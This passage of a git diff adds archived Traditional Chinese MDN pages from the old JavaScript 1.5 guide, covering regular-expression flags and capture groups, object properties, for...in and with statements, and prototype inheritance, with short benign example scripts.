+<p>{{ languages( {"en": "en/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions", "es": "es/Gu\u00eda_JavaScript_1.5/Trabajar_con_expresiones_regulares", "fr": "fr/Guide_JavaScript_1.5/Travailler_avec_les_expressions_rationnelles", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Praca_z_wyra\u017ceniami_regularnymi" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/使用標誌的進階搜尋/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/使用標誌的進階搜尋/index.html
new file mode 100644
index 0000000000..f90ba3297f
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/使用標誌的進階搜尋/index.html
@@ -0,0 +1,35 @@
+---
+title: 使用標誌的進階搜尋
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/正規表達式的運用/使用標誌的進階搜尋
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<h3 id="使用標誌的進階搜尋" name="使用標誌的進階搜尋">使用標誌的進階搜尋</h3>
+<p>正規表達式有四個選用的標誌，這些標誌可用於全域或不分大小寫等的搜尋。若要指明為全域搜尋，就使用 <code>g</code> 標誌。若要指明為區分大小寫來搜尋，就使用 <code>i</code> 標誌。若要指明為在多行中搜尋，就使用 <code>m</code> 標誌。若要進行“定點”搜尋，也就是以目標字串的目前位置為開始點來搜尋，那就使用 <code>y</code> 標誌。這些標誌可以單獨或不分順序混合使用，並作為正規表達式的一部分。</p>
+<p>{{ Fx_minversion_note(3, "Firefox 3 新增了對 <code>y</code> 標誌的支援。如果在目標字串的目前位置上比對不成功，<code>y</code> 標誌就會失敗。") }}</p>
+<p>要在正規表達式中包含標誌，使用以下語法︰</p>
+<pre>re = /pattern/flags
+re = new RegExp("pattern", ["flags"])
+</pre>
+<p>注意，標誌也是正規表達式整體的一部分。之後就不能新增或移除標誌。</p>
+<p>舉例來說，<code>re = /\w+\s/g</code> 建立了可尋找 1 個以上的字元並且後接空白的正規表達式，並找出整個字串的組合部分。</p>
+<pre>&lt;script type="text/javascript"&gt;
+ re = /\w+\s/g;
+ str = "fee fi fo fum";
+ myArray = str.match(re);
+ document.write(myArray);
+&lt;/script&gt;
+</pre>
+<p>顯示出 {{ mediawiki.external('\"fee \", \"fi \", \"fo \"') }}。在這個範例中，你可以取代一整行︰</p>
+<pre>re = /\w+\s/g;
+</pre>
+<p>改用︰</p>
+<pre>re = new RegExp("\\w+\\s", "g");
+</pre>
+<p>得到同樣的結果。</p>
+<p><code>m</code> 標誌用來指明輸入的多行字串應該視為多行。如果使用 <code>m</code> 標誌，^ 和 $ 就會在輸入字串裡比對每一行的開始處和結尾處，而非整個字串的開始處和結尾處。</p>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:正規表達式的運用:括弧子字串的比對結果的運用", "Core_JavaScript_1.5_教學:正規表達式的運用:正規表達式的範例") }}</p>
+</div>
+<p> </p>
+<p> </p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags", "es": "es/Gu\u00eda_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil\u00ednea", "fr": "fr/Guide_JavaScript_1.5/Travailler_avec_les_expressions_rationnelles/Ex\u00e9cution_de_recherches_globales,_ignorer_la_casse,_utilisation_de_cha\u00eenes_multilignes", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Praca_z_wyra\u017ceniami_regularnymi/Globalne_wyszukiwanie,_wielko\u015b\u0107_znak\u00f3w,_wieloliniowe_wej\u015bcie" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/括弧子字串的比對結果的運用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/括弧子字串的比對結果的運用/index.html
new file mode 100644
index 0000000000..bbf1980a38
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/括弧子字串的比對結果的運用/index.html
@@ -0,0 +1,42 @@
+---
+title: 括弧子字串的比對結果的運用
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/正規表達式的運用/括弧子字串的比對結果的運用
+translation_of: Web/JavaScript/Guide/Regular_Expressions#Using_Parenthesized_Substring_Matches
+---
+<h4 id="括弧子字串的比對結果的運用" name="括弧子字串的比對結果的運用">括弧子字串的比對結果的運用</h4>
+<p>在正規表達式的模式中包含括弧，對應的子比對結果就會被記憶。舉例來說，<code>/a(b)c/</code> 比對字元 'abc' 並把 'b' 記憶起來。若要取回括弧子字串的比對結果，就使用 Array 元素 {{ mediawiki.external(1) }}, ..., {{ mediawiki.external('n') }}。</p>
+<p>括弧子字串的可能數目並沒有限制。返回的陣列保留了所有找到的子字串。以下範例解說如何使用括弧子字串的比對結果。</p>
+<p><strong>範例 1</strong><br>
+以下 Script 使用 <code>replace</code> 方法來置換字串裡的文字。對於那些替換用的文字，Script 使用了 <code>$1</code> 和 <code>$2</code> 來表示第一個和第二個括弧子字串的比對結果。</p>
+<pre>&lt;script type="text/javascript"&gt;
+ re = /(\w+)\s(\w+)/;
+ str = "John Smith";
+ newstr = str.replace(re, "$2, $1");
+ document.write(newstr);
+&lt;/script&gt;
+</pre>
+<p>本例輸出 "Smith, John"。</p>
+<p><strong>範例 2</strong><br>
+附註: 在 <code>getInfo</code> 函數中，<code>exec</code> 方法是以 () 省略記法所呼叫的，這個記法在 Firefox 可以運作，其他瀏覽器則不一定。</p>
+<pre>&lt;html&gt;
+
+&lt;script type="text/javascript"&gt;
+ function getInfo(field){
+   var a = /(\w+)\s(\d+)/(field.value);
+   window.alert(a[1] + ", your age is " + a[2]);
+ }
+&lt;/script&gt;
+
+Enter your first name and your age, and then press Enter.
+
+&lt;form&gt;
+  &lt;input type="text" name="NameAge" onchange="getInfo(this);"&gt;
+&lt;/form&gt;
+
+&lt;/html&gt;
+</pre>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:正規表達式的運用", "Core_JavaScript_1.5_教學:正規表達式的運用:使用標誌的進階搜尋") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Using_Parenthesized_Substring_Matches", "es": "es/Gu\u00eda_JavaScript_1.5/Trabajar_con_expresiones_regulares/Usar_coincidencias_de_subcadenas_parentizadas", "fr": "fr/Guide_JavaScript_1.5/Travailler_avec_les_expressions_rationnelles/Utilisation_des_parenth\u00e8ses_de_capture", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Using_Parenthesized_Substring_Matches", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Praca_z_wyra\u017ceniami_regularnymi/U\u017cycie_odpowiedniego_znaku" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/正規表達式的範例/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/正規表達式的範例/index.html
new file mode 100644
index 0000000000..0bd61d90e5
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/正規表達式的範例/index.html
@@ -0,0 +1,114 @@
+---
+title: 正規表達式的範例
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/正規表達式的運用/正規表達式的範例
+---
+<h3 id="範例" name="範例">範例</h3>
+<p>以下範例示範正規表達式的一些用法。</p>
+<h4 id="改變輸入字串的順序" name="改變輸入字串的順序">改變輸入字串的順序</h4>
+<p>以下範例解說了正規表達式的構造，以及 <code>string.split()</code> 和 <code>string.replace()</code> 的用法。他會整理凌亂的格式化輸入字串，字串中內含以空白、TAB、和唯一的分號所分割的姓名（名字在前）。最後，他會調換姓名的順序（姓氏在前）並重新排序列表。</p>
+<pre>&lt;script type="text/javascript"&gt;
+
+// 內含很多空白和 TAB 的 names 字串，
+// 在名字和姓氏之間也會有很多空白。
+var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = new Array(
+  "---------- Original String&lt;br&gt;&lt;br&gt;",
+  names + "&lt;br&gt;&lt;br&gt;");
+
+// 預備兩個正規表達式的模式和儲存用的陣列。
+// 把字串分割存入陣列元素裡。
+
+// 模式︰可能的空白，然後是分號，然後是可能的空白
+var pattern = /\s*;\s*/;
+
+// 使用上面的模式把字串分割成多個斷片，
+// 並且把斷片儲存至稱為 nameList 的陣列。
+var nameList = names.split(pattern);
+
+// 新的模式︰1 個以上的字元，然後是空白字元，然後是 1 個以上的字元。
+// 使用括弧來記憶模式的某一部分。
+// 已記憶的部分稍後會被參考。
+var pattern = /(\w+)\s+(\w+)/;
+
+// 用來保存已處理的姓名的新陣列。
+var bySurnameList = new Array();
+
+// 顯示 names 陣列，並移動以逗號分隔且姓氏在前的姓名到新的陣列。
+//
+// replace 方法除去符合模式的所有內容，並以已記憶的字串取代。
+// 字串是以第二個已記憶的部分、後接逗號和空格、後接第一個已記憶的部分所組成。
+//
+// 變數 $1 和 $2 參考了符合模式的已記憶的部分。
+
+output.push("---------- After Split by Regular Expression&lt;br&gt;");
+
+var i, len;
+for (i = 0, len = nameList.length; i &lt; len; i++)
+{
+  output.push(nameList[i] + "&lt;br&gt;");
+  bySurnameList[i] = nameList[i].replace(pattern, "$2, $1")
+}
+
+// 顯示新的陣列。
+output.push("---------- Names Reversed&lt;br&gt;");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++)
+{
+  output.push(bySurnameList[i] + "&lt;br&gt;")
+}
+
+// 以姓氏來排序，然後顯示已排序的陣列。
+bySurnameList.sort();
+output.push("---------- Sorted&lt;br&gt;");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++)
+{
+  output.push(bySurnameList[i] + "&lt;br&gt;")
+}
+
+output.push("---------- End&lt;br&gt;");
+
+document.write(output.join("\n"));
+
+&lt;/script&gt;
+</pre>
+<h4 id="使用特殊字元來對輸入進行驗證" name="使用特殊字元來對輸入進行驗證">使用特殊字元來對輸入進行驗證</h4>
+<p>在以下的範例中，有位使用者輸入電話號碼。當使用者按下 Enter 時，Script 就會檢查電話號碼的有效性。如果電話號碼有效（符合由正規表達式所指定的字元序列），Script 在視窗上表示感謝使用者，並確認了電話號碼。如果電話號碼無效，Script 在視窗上表示使用者的電話號碼有誤的資訊。</p>
+<p>正規表達式尋找 0 或 1 個左括弧 <code>\(?</code>，後接三個數字 <code>\d{3}</code>，後接 0 或 1 個右括弧 <code>\)?</code>，如果有的話，就後接橫線 (-) 或斜線 (\) 或小數點 (.)，並記憶字元 <code>(-\\/\\.)</code>，後接三個數字 <code>\d{3}</code>，後接已記憶的橫線、斜線、小數點的比對結果 <code>\1</code>，後接四個數字 <code>\d{4}</code>。</p>
+<p>當使用者按下 Enter 設定 <code>RegExp.input</code> 的值時，就會發動 <code>Change</code> 事件。</p>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+  "http://www.w3.org/TR/html4/loose.dtd"&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
+    &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+    &lt;script type="text/javascript"&gt;
+      var re = /\(?\d{3}\)?([-\/\.])\d{3}\1\d{4}/;
+
+      function testInfo(phoneInput)
+      {
+        var OK = re.exec(phoneInput.value);
+
+        if (!OK)
+        {
+          window.alert(RegExp.input + " isn't a phone number with area code!");
+        }
+        else
+        {
+          window.alert("Thanks, your phone number is " + OK[0]);
+        }
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;p&gt;Enter your phone number (with area code) and then press Enter.&lt;/p&gt;
+    &lt;form action=""&gt;
+      &lt;input name="phone" onchange="testInfo(this);"&gt;
+    &lt;/form&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:正規表達式的運用:使用標誌的進階搜尋", "Core_JavaScript_1.5_教學:區塊語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/物件和屬性/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/物件和屬性/index.html
new file mode 100644
index 0000000000..d5875e87fb
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/物件和屬性/index.html
@@ -0,0 +1,42 @@
+---
+title: 物件和屬性
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/物件和屬性
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<p> </p>
+<h3 id="物件和屬性" name="物件和屬性">物件和屬性</h3>
+<p>JavaScript 的物件連結有屬性。你只需要使用簡單的記法就能存取物件的屬性︰</p>
+<pre>objectName.propertyName
+</pre>
+<p>物件的名稱和屬性的名稱兩者都區分大小寫。你可藉由給他代入值來定義屬性。例如，假設有名為 <code>myCar</code> 的物件（假設物件已經存在）。你可以把他的屬性命名為 <code>make</code>、<code>model</code>、<code>year</code> 如下所示︰</p>
+<pre>myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+</pre>
+<p>JavaScript 物件的屬性也可以使用方括號記法來存取或設定。物件有時又稱為<em>關聯陣列</em>，因為每一個屬性都和字串值連繫在一起，且可以用這些字串值來存取屬性。然後，舉例來說，你可以存取 <code>myCar</code> 物件的屬性如下所示︰</p>
+<pre>myCar["make"] = "Ford";
+myCar["model"] = "Mustang";
+myCar["year"] = 1969;
+</pre>
+<p>你也可以使用儲存在變數裡的字串值來存取屬性︰</p>
+<pre>var propertyName = "make";
+myCar[propertyName] = "Ford";
+
+propertyName = "model";
+myCar[propertyName] = "Mustang";
+</pre>
+<p>你也可以使用括弧和 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E7%89%A9%E4%BB%B6%E7%9A%84%E6%93%8D%E4%BD%9C%E8%AA%9E%E6%B3%95#for...in_%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/物件的操作語法#for...in 語法">for...in</a> 來迭代物件所有的屬性。為解說這是如何運作的，以下函數用來顯示物件的屬性，當你把物件和物件的名稱作為參數傳給這個函數的時候︰</p>
+<pre>function show_props(obj, obj_name) {
+   var result = "";
+   for (var i in obj)
+      result += obj_name + "." + i + " = " + obj[i] + "\n";
+   return result;
+}
+</pre>
+<p>然後，呼叫函數 <code>show_props(myCar, "myCar")</code> 就會返回以下內容︰</p>
+<pre>myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1969
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:閉包的運用", "Core_JavaScript_1.5_教學:建立新的物件") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Objects_and_Properties", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_y_propiedades", "fr": "fr/Guide_JavaScript_1.5/Objets_et_propri\u00e9t\u00e9s", "ja": "ja/Core_JavaScript_1.5_Guide/Objects_and_Properties", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Obiekty_i_w\u0142asno\u015bci" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/物件的操作語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/物件的操作語法/index.html
new file mode 100644
index 0000000000..f1e46206fe
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/物件的操作語法/index.html
@@ -0,0 +1,53 @@
+---
+title: 物件的操作語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/物件的操作語法
+---
+<h3 id="物件的操作語法" name="物件的操作語法">物件的操作語法</h3>
+<p>JavaScript 使用 <code>for...in</code>、<code>for each...in</code>、<code>with</code> 語法來操作物件。</p>
+<h4 id="for...in_語法" name="for...in_語法">for...in 語法</h4>
+<p><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for...in" title="zh tw/Core JavaScript 1.5 參考/語法/for...in"><code>for...in</code></a> 語法可處理對應物件的所有屬性的指定變數。JavaScript 會對每一個對應的屬性來執行指定的語句。<code>for...in</code> 語句如下︰</p>
+<pre>for (variable in object) {
+   statements
+}
+</pre>
+<p><strong>範例</strong><br>
+ 以下函數接受物件和物件的名稱作為自己的參數。然後函數反覆遍歷物件的屬性，並返回列出屬性名稱和值的字串。</p>
+<pre>function dump_props(obj, obj_name) {
+   var result = "";
+   for (var i in obj) {
+      result += obj_name + "." + i + " = " + obj[i] + "&lt;br&gt;";
+   }
+   result += "&lt;hr&gt;";
+   return result;
+}
+</pre>
+<p>以帶有屬性 <code>make</code> 和 <code>model</code> 的物件 <code>car</code> 為例，輸出結果如下︰</p>
+<pre class="eval">car.make = Ford
+car.model = Mustang
+</pre>
+<p><strong>陣列</strong><br>
+ 雖然使用這個方法來處理所有的 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/Array" title="zh tw/Core JavaScript 1.5 參考/全域物件/Array">Array</a> 元素很是誘人，但如果你修改了 Array 物件，例如加入自訂的屬性或方法，<strong>for...in</strong> 語法就只會處理除了陣列元素以外的所有使用者定義的屬性，<strong>for...in</strong> 語法將會返回你的使用者定義的屬性的名稱，除了數字索引以外。因此在處理陣列時，最好還是使用傳統的 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for" title="zh tw/Core JavaScript 1.5 參考/語法/for">for</a> 循環，並配合數字索引。</p>
+<h4 id="for_each...in_語法" name="for_each...in_語法">for each...in 語法</h4>
+<p><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for_each...in" title="zh tw/Core JavaScript 1.5 參考/語法/for each...in"><code>for each...in</code></a> 是在 <a class="internal" href="/zh_tw/JavaScript_1.6_%E6%96%B0%E9%AE%AE%E4%BA%8B" title="zh tw/JavaScript 1.6 新鮮事">JavaScript 1.6</a> 中引入的循環語法，他很類似 <code>for...in</code>，但不是針對物件的屬性的名稱，而是物件的屬性的值。</p>
+<h4 id="with_語法" name="with_語法">with 語法</h4>
+<p><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/with" title="zh tw/Core JavaScript 1.5 參考/語法/with"><code>with</code></a> 語法為一整組的語句確立了預設的物件。JavaScript 會在一整組語法之內找出所有不合格的名稱，只要這個名稱是預設物件的屬性，就會將其確定。如果有一個不合格的名稱符合其中一個屬性，然後就會在語句中使用這個屬性。否則，就會被當成局域或全域的變數。</p>
+<p><code>with</code> 語法如下︰</p>
+<pre>with (object) {
+   statements
+}
+</pre>
+<p><strong>範例</strong><br>
+ 以下 <code>with</code> 語法指定 <code>Math</code> 物件為預設的物件。<code>with</code> 語法裡面使用了 <code>PI</code> 屬性和 <code>cos</code>、<code>sin</code> 方法的語句，而無需指定物件。JavaScript 會假定他們參照的是 <code>Math</code> 物件。</p>
+<pre>var a, x, y;
+var r = 10;
+with (Math) {
+   a = PI * r * r;
+   x = r * cos(PI);
+   y = r * sin(PI/2);
+}
+</pre>
+<p>附註︰雖然使用 <code>with</code> 語句可以使你的程式更加簡潔，但不當使用 <code>with</code> 也會在一定程度上使你的程式速度變慢。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/with" title="zh tw/Core JavaScript 1.5 參考/語法/with">Core JavaScript 1.5 參考:語法:with</a>。</p>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:循環語法:continue_語法", "Core_JavaScript_1.5_教學:註解") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/繼承/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/繼承/index.html
new file mode 100644
index 0000000000..4b1e65afce
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/繼承/index.html
@@ -0,0 +1,146 @@
+---
+title: 繼承
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/繼承
+---
+<p> </p>
+
+<h3 id="繼承" name="繼承">繼承</h3>
+
+<p>這裡有很多有關如何在 JavaScript 中定義類型（類別）的困惑之處，包括繼承。這裡有很多方式和一些 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E7%B9%BC%E6%89%BF#%E9%98%BB%E7%A4%99" title="zh tw/Core JavaScript 1.5 教學/繼承#阻礙">次優的選擇</a>。這裡所展示的運作的最好，而且簡單。</p>
+
+<h2 id="範例" name="範例">範例</h2>
+
+<p>B 繼承 A︰</p>
+
+<pre class="brush: js">function A(a)
+{
+  this.varA = a;
+}
+
+A.prototype =
+{
+  varA : null,
+  doSomething : function()
+  {
+     ...
+  }
+}
+
+function B(a, b)
+{
+  A.call(this, a);
+  this.varB = b;
+}
+
+B.prototype =
+{
+  varB : null,
+  doSomething : function() // 覆寫
+  {
+     A.prototype.doSomething.apply(this, arguments); // 呼叫親類型
+     ...
+  }
+}
+
+extend(B, A);
+
+var b = new B();
+b.doSomething();
+</pre>
+
+<p>重點部分是︰</p>
+
+<ul>
+ <li>類型是在 .prototype 裡定義的</li>
+ <li>使用 extend() 來繼承</li>
+</ul>
+
+<p>此處的 extend() 並不是內建的函數，其定義如下︰</p>
+
+<pre class="eval">function extend(child, supertype)
+{
+   child.prototype.__proto__ = supertype.prototype;
+}
+</pre>
+
+<h2 id="prototype_和___proto__" name="prototype_和___proto__">prototype 和 __proto__</h2>
+
+<p>JavaScript 對於來自 Java 或 C++ 的開發者而言會感到一些困惑，因為他完全動態，完全執行時期，而且完全沒有類別。他完全只有實體（物件）。甚至〝類別〞也只是函數物件模擬出來的。</p>
+
+<p>你或許已經注意到前面我們的 <code>function A</code> 很特別，這並不是普通的函數，但可以和關鍵字 <code>new</code> 結合使用來實體化新的物件。他也可以有稱作 <code>prototype</code> 的特別的屬性（由 JS 標準所定義）。這個函數所做的不過是，當你呼叫 <code>new</code> 的時候，參考的 prototype 物件被複製到新的實體的屬性 <code>__proto__</code>。也就是當你這樣做 <code>var a1 = new A()</code> 的時候，JS（在記憶體中建立物件之後，並在使用 <code>this</code> 執行函數 A() 來定義他之前）只是簡單的這樣做 <code>a1.__proto__ = A.prototype</code>。然後當你存取實體的屬性的時候，JS 首先會檢查那些是否直接存在於物件上，如果不是的話，就從 <code>__proto__</code> 搜尋。這意思是所有你定義在 <code>prototype</code> 裡的東西，實際上會被所有的實體所共用，而且你甚至可以在稍後修改 <code>prototype</code> 的部分，並且在所有既存的實體上表現出這個改變，只要你想要的話。</p>
+
+<p><strong>舉例來說</strong>，當你在上面的範例中這樣做 <code>var a1 = new A(); var a2 = new A();</code>，然後 <code>a1.doSomething</code> 實際上會參考 <code>a1.__proto__.doSomething</code>，這些和你定義的 <code>A.prototype.doSomething</code> 相同，也就是 <code>a1.__proto__.doSomething == a2.__proto__.doSomething == A.prototype.doSomething</code>。</p>
+
+<p><strong>簡而言之</strong>，<code>prototype</code> 是對類型而言，而 <code>__proto__</code> 對實體而言都相同。</p>
+
+<p><code>__proto__</code> 是以<em>遞歸</em>的方式來看待的，也就是 <code>a1.doSomething</code>、<code>a1.__proto__.doSomething</code>、<code>a1.__proto__.__proto__.doSomething</code> 等等，直到找到或不存在 <code>__proto__ <span style="font-family: Verdana,Tahoma,sans-serif;">為止。</span></code></p>
+
+<p>所以，發生了什麼︰當你呼叫<br>
+ <code>  var o = new Foo()</code><br>
+ JS 實際上只是這樣做<br>
+ <code>  var o = new Object();<br>
+   o.__proto__ = Foo.prototype;<br>
+   o.Foo();</code> （諸如此類）<br>
+ <br>
+ 以及當你隨後這樣做<br>
+ <code>  o.someProp</code><br>
+ 他會檢查 <code>o</code> 是否有屬性 <code>someProp</code>，如果沒有就檢查 <code>o.__proto__.someProp</code>，如果沒有就檢查 <code>o.__proto__.__proto__.someProp</code> 依此類推。這個最後的步驟就是 extend() 函數運作的原因。</p>
+
+<p> </p>
+
+<p>注意，<code>__proto__</code> 只能在 Mozilla 的 JS 引撉中存取。其他引撉的也有相同的運作，但不能存取 <code>__proto__</code>。參閱以下內容來補救。</p>
+
+<h2 id="extend()_的另一個選擇" name="extend()_的另一個選擇">extend() 的另一個選擇</h2>
+
+<p>還有另一個選擇，你也可以定義 extend() 如下︰</p>
+
+<pre class="eval">function extend(child, supertype)
+{
+   child.prototype.__proto__ = supertype.prototype;
+   child.prototype.__super = supertype;
+}
+</pre>
+
+<p>因此，當你想要在 <code>B</code> 中呼叫親函數的時候，你可以使用 <code>this.__super</code> 取代 <code>A</code>，例如 <code>this.__super.call(this, a)</code> 用於建構子，以及 <code>this.__super.prototype.doSomething.apply(this, arguments)</code> 用於覆載函數。</p>
+
+<p>注意，<code>__proto__</code> 在 Mozilla 以外的 JavaScript 版本中可能無法使用。還有另一個選擇，但不是 extend() 的最佳版本，這次應該到處都可以用︰</p>
+
+<pre class="eval">function extend(child, super)
+{
+  for (var property in super.prototype) {
+    if (typeof child.prototype[property] == "undefined")
+      child.prototype[property] = super.prototype[property];
+  }
+  return child;
+}
+</pre>
+
+<p>這次簡單的<em>直接</em>把親類型的 prototype 裡所有的屬性和函數，放入到子類型的 prototype 裡。這對多重繼承而言非常有用，但要小心使用，沒有親類別會把屬性或函數定義成同樣的，或者你需要明確的把那些覆載並定義那些該怎麼做。</p>
+
+<h2 id="阻礙" name="阻礙">阻礙</h2>
+
+<p>這裡有另一個方法用來定義類型，例如︰</p>
+
+<pre class="eval">function A()
+{
+  this.varA = "bla";
+  this.isNotSoGood = function()
+  {
+    ...
+  };
+}
+</pre>
+
+<p>這樣也可以運作，但只是次優的選擇，因為每次你建立這個類型的物件的時候，<code>isNotSoGood</code> 會在<strong>每一個實體</strong>中定義一次。如果是在 .prototype 定義這些的話，就只會定義一次。</p>
+
+<p><br>
+ 你可以使用下面的方式來繼承︰</p>
+
+<pre class="eval">B.prototype = new A();
+</pre>
+
+<p>不在載入 JS 檔案的時候建立 A() 的實體。這是<strong>非常</strong>壞的點子，因為你可能需要在 A 的建構子裡做一些處理，這可能會耗費時間並因此大幅延遲載入，或嘗試存取尚未載入的東西（例如，在 utils.js 裡的函數）。</p>
+
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的物件:String_物件", "Core_JavaScript_1.5_教學:以類別為基礎的語言_vs._以原型為基礎的語言") }}</p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Inheritance" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/index.html
new file mode 100644
index 0000000000..a9a7200773
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/index.html
@@ -0,0 +1,31 @@
+---
+title: 職員的例子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/職員的例子
+---
+<h3 id="職員的例子" name="職員的例子">職員的例子</h3>
+<p>本章的剩餘部分會使用如下所示的職員的階層圖。</p>
+<p><img alt="Image:hier01.gif" class="internal" src="/@api/deki/files/708/=Hier01.gif"></p>
+<p><small><strong>圖 8.1: 簡單的物件的階層</strong></small></p>
+<p>本範例使用了下面的物件︰</p>
+<ul>
+ <li>Employee 具有 name（其值預設為空字串）以及 dept（其值預設為 "general"）屬性。</li>
+ <li>Manager 以 Employee 為基礎。他加入了 reports 屬性（其值預設為空的陣列，打算使用內含 Employee 物件的陣列作為他的值）。</li>
+ <li>WorkerBee 也是 Employee 為基礎。他加入了 projects 屬性（其值預設為空的陣列，打算使用字串的陣列作為他的值）。</li>
+ <li>SalesPerson 以 WorkerBee 為基礎。他加入了 quota 屬性（其值預設為 100）。他也使用 "sales" 值覆寫了 dept 屬性，指明所有的銷售員都從屬於同一部門。</li>
+ <li>Engineer 以 WorkerBee 為基礎。他加入了 machine 屬性（其值預設為空字串），而且也使用 "engineering" 值覆寫了 dept 屬性。</li>
+</ul>
+<p>其餘的範例︰</p>
+<ul>
